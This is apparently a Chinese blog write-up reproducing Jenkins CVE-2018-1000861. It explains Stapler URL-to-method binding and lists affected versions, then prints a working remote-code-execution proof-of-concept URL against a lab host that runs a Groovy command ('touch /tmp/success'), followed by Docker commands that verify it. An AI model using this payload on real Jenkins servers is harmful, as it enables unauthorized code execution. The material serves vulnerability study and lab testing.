文章目录

  • 一、Jenkins简介
  • 二、CVE-2018-1000861简介
  • 三、漏洞复现



一、Jenkins简介

Jenkins是一个独立的开源自动化服务器,由JAVA开发。
可用于自动化各种任务,如构建,测试和部署软件;也可以根据设定持续定期编译,运行相应代码;运行UT或集成测试;将运行结果发送至邮件,或展示成报告等。
Jenkins可以通过本机系统包Docker安装,也可以通过安装Java Runtime Environment的任何机器独立运行。
在很多中大型金融企业中普遍使用Jenkins来作为项目发布工具。

Jenkins服务安全加固

Jenkins特点:
开源免费,多平台支持(windows/linux/macos);
主从分布式架构;
提供web可视化配置管理页面;
安装配置简单、插件资源丰富.

二、CVE-2018-1000861简介

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

Stapler框架官方文档: Stapler使用应用程序对象的公共get方法将可访问的子对象绑定到 URL。
BookStore具有从库存单位 (SKU) 编号到相应Item对象的映射。对应的 Java 类如下所示:

public  class  BookStore {
     public  Map /* <String,Item> */  getItems () {
         return items;
    }
    ...
}
当客户端请求一个URL“/items/b1”时,Stapler 采取以下步骤来决定如何处理这个请求。

1、Stapler 知道 '/' 被映射到类的单例实例 BookStore。
2、Stapler 取下一部分 'items' 并注意到BookStore 该类有一个 method getItems,因此 Stapler 计算 x=bookStore.getItems()。
3、Stapler 从 URL 中取出下一部分 'b1' 并注意它x 是 a Map,因此Stapler评估y=x.get("b1")。
4、最后,因为处理了整个 URL,Stapler 会查找 index.jspfor y。

在示例中,bookStore.getItems().get("b1")返回一个Book 对象,因此侧文件/WEB-INF/side-files/example/Book/index.jsp用于处理此请求,并将“it”对象设置为此Book实例。
通过这种方式,只需定义get方法即可定义URL层次结构。
影响版本:
Jenkins 2.153及更早版本 Jenkins LTS 2.138.3及更早版本

三、漏洞复现

执行以下POC,POC来源于Orangetw

http://192.168.198.132:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true
&value=public class x {
  public x(){
    "touch /tmp/success".execute()
  }
}

Jenkins shell 引用参数_Jenkins


此时可查看/tmp/success是否创建成功,步骤如下:

docker ps -a   //查看正在运行的容器ID,如下图ad7ba6a7699f为Jenkins容器的ID号
docker exec -it ad7ba6a7699f /bin/bash    //通过exec命令对指定的容器执行 bash
ls /tmp

Jenkins shell 引用参数_Java_02